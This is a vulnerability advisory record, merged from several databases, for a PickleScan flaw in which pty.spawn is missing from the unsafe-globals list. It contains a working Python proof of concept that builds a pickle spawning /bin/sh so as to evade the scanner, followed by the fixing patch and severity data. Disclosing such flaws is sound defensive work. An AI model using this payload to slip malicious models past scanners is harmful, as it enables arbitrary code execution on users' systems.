{"id":"CVE-2025-71322","aliases":["CVE-2025-71322","GHSA-hgrh-qx5j-jfwx","PYSEC-2026-1790"],"related":[],"kind":"vulnerability","state":"published","title":"PickleScan - Unsafe Globals Check Bypass via pty.spawn Function","summary":"PickleScan before 0.0.33 fails to include the pty.spawn function in its unsafe globals list, allowing attackers to bypass security checks. Malicious actors can craft pickle payloads using pty.spawn to achieve arbitrary code execution when files are processed by PickleScan.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PickleScan before 0.0.33 fails to include the pty.spawn function in its unsafe globals list, allowing attackers to bypass security checks. Malicious actors can craft pickle payloads using pty.spawn to achieve arbitrary code execution when files are processed by PickleScan.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of  the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.\n\n### Details\nFor 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released.\n\nThe intended way was to use `pty.spawn` but some players found alternative solutions.\n\n### PoC\n\n- Run the following Python code to generate the PoC pickle file.\n\n```py\nimport pickle\n\ncommand = b\"/bin/sh\"\n\npayload = b\"\".join(\n    [\n        pickle.PROTO + pickle.pack(\"B\", 4),\n        pickle.MARK,\n        pickle.GLOBAL + b\"pty\\n\" + b\"spawn\\n\",\n        pickle.EMPTY_LIST,\n        pickle.SHORT_BINUNICODE + pickle.pack(\"B\", len(command)) + command,\n        pickle.APPEND,\n        # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes\n        pickle.OBJ,\n        pickle.STOP,\n    ]\n)\n\nwith open(\"dump.pkl\", \"wb\") as f:\n    f.write(payload)\n```\n\n- Run PickleScan on the generated pickle file.\n<img width=\"936\" height=\"311\" alt=\"picklescan_bypass_pty_spawn\" src=\"https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f\" />\n\nPickleScan detects the `pty.spawn` global as \"suspicious\" but not \"dangerous\", allowing it to be loaded.\n\n### Impact\n**Severity**: High\n**Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content.\n**Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded.\n\n### Suggested Patch\n\n```\ndiff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py\nindex 34a5715..b434069 100644\n--- a/src/picklescan/scanner.py\n+++ b/src/picklescan/scanner.py\n@@ -150,6 +150,7 @@ _unsafe_globals = {\n     \"_pickle\": \"*\",\n     \"pip\": \"*\",\n     \"profile\": {\"Profile.run\", \"Profile.runctx\"},\n+    \"pty\": \"spawn\",\n     \"pydoc\": \"pipepager\",  # pydoc.pipepager('help','echo pwned')\n     \"timeit\": \"*\",\n     \"torch._dynamo.guards\": {\"GuardBuilder.get\"},\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"PickleScan antes de la versión 0.0.33 no incluye la función pty.spawn en su lista de globales inseguras, lo que permite a los atacantes eludir las comprobaciones de seguridad. Actores maliciosos pueden elaborar cargas útiles de pickle utilizando pty.spawn para lograr ejecución de código arbitrario cuando los archivos son procesados por PickleScan.","source":"nvd"}],"published":"2025-12-29T15:26:37.000Z","modified":"2026-11-08T14:00:24.806Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-693"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"0.0.33","status":"affected"},{"type":"semver","version":"0.0.33","status":"unaffected"}],"vendor":"PickleScan","product":"PickleScan","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.0.33"}],"ecosystem":"PyPI","package":"picklescan","purl":"pkg:pypi/picklescan","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.0.33"}],"ecosystem":"PyPI","package":"picklescan","purl":"pkg:pypi/picklescan","source":"pysec"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-hgrh-qx5j-jfwx","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/picklescan-unsafe-globals-check-bypass-via-pty-spawn-function","tags":["third-party-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71322","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/pull/53","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/picklescan","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-hgrh-qx5j-jfwx","tags":["advisory"],"sources":["pysec"]}],"credits":["yarienkiva"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-06-18T15:17:59.576Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-71322","url":"https://www.cve.org/CVERecord?id=CVE-2025-71322","licence":"CVE Terms of Use","modified":"2026-11-08T14:00:24.806Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hgrh-qx5j-jfwx","url":"https://github.com/advisories/GHSA-hgrh-qx5j-jfwx","licence":"CC-BY-4.0","modified":"2026-07-07T17:57:34.757Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-71322","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71322","licence":"Public domain","modified":"2026-10-12T22:10:00.247Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1790","url":"https://osv.dev/vulnerability/PYSEC-2026-1790","licence":"CC-BY-4.0","modified":"2026-07-07T17:48:02.258Z"}],"updatedAt":"2026-11-25T22:59:12.327Z","epss":{"score":0.00384,"percentile":0.34561,"date":"2026-12-01T12:00:22.000Z"}}